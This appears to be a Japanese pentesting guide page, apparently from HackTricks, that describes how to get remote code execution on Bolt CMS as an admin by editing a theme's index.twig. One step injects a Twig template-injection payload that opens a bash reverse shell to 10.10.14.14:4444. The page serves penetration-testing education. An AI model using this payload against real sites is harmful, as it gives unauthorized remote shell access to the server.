26 lines
1.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bolt CMS
{{#include ../../banners/hacktricks-training.md}}
## RCE
管理者としてログインした後(/botに移動してログインプロンプトにアクセス、Bolt CMSでRCEを取得できます
- `Configuration` -> `View Configuration` -> `Main Configuration`を選択するか、URLパス`/bolt/file-edit/config?file=/bolt/config.yaml`に移動します。
- テーマの値を確認します。
<figure><img src="../../images/image (771).png" alt=""><figcaption></figcaption></figure>
- `File management` -> `View & edit templates`を選択します。
- 前のステップで見つけたテーマベース(この場合は`base-2021`)を選択し、`index.twig`を選択します。
- 私の場合、これはURLパス/bolt/file-edit/themes?file=/base-2021/index.twigにあります。
- [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php)を介してこのファイルにペイロードを設定します。例:`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
- 変更を保存します。
<figure><img src="../../images/image (948).png" alt=""><figcaption></figcaption></figure>
- `Maintenance` -> `Clear the cache`でキャッシュをクリアします。
- 再度、通常のユーザーとしてページにアクセスすると、ペイロードが実行されるはずです。
{{#include ../../banners/hacktricks-training.md}}